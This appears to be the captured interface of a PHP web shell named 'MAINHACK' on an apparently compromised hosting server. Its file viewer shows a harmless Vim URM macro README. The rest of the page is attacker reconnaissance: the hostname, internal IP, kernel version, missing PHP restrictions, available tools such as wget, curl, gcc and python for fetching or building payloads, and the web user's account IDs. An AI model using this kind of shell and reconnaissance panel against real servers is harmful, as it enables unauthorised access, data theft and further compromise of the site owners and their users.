[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.txt
File is not writable. Editing disabled.
This is another proof that Vim is perfectly compatible with Vi. The URM macro package was written by Rudolf Koenig ("Rudi") (rudolf@koeniglich.de) for hpux-vi in August 1991. Getting started: type in your shell: vim urm<RETURN> in vim: :so urm.vim<RETURN> in vim: * (to load the registers and boot the URM-machine :-) in vim: g (for 'go') and watch the fun. Per default, 3 and 4 are multiplied. Watch the Program counter, it is visible as a komma moving around. This is a "standard URM" (Universal register machine) interpreter. The URM concept is used in theoretical computer science to aid in theorem proving. Here it proves that vim is a general problem solver (if you bring enough patience). The interpreter begins with register 1 (not 0), without macros and more-lines capability. A dot marks the end of a program. (Bug: there must be a space after the dot.) The registers are the first few lines, beginning with a '>' . The program is the first line after the registers. You should always initialize the registers required by the program. Output register: line 2 Input registers: line 2 to ... Commands: a<n> increment register <n> s<n> decrement register <n> <x>;<y> execute command <x> and then <y> (<x>)<n> execute command <x> while register <n> is nonzero . ("dot blank") halt the machine. Examples: Add register 2 to register 3: (a2;s3)3. Multiply register 2 with register 3: (a4;a5;s2)2; ((a2;s4)4; s3; (a1;a4;s5)5; (a5;s1)1)3. There are more (complicated) examples in the file examples. Note, undo may take a while after a division.
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 646 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A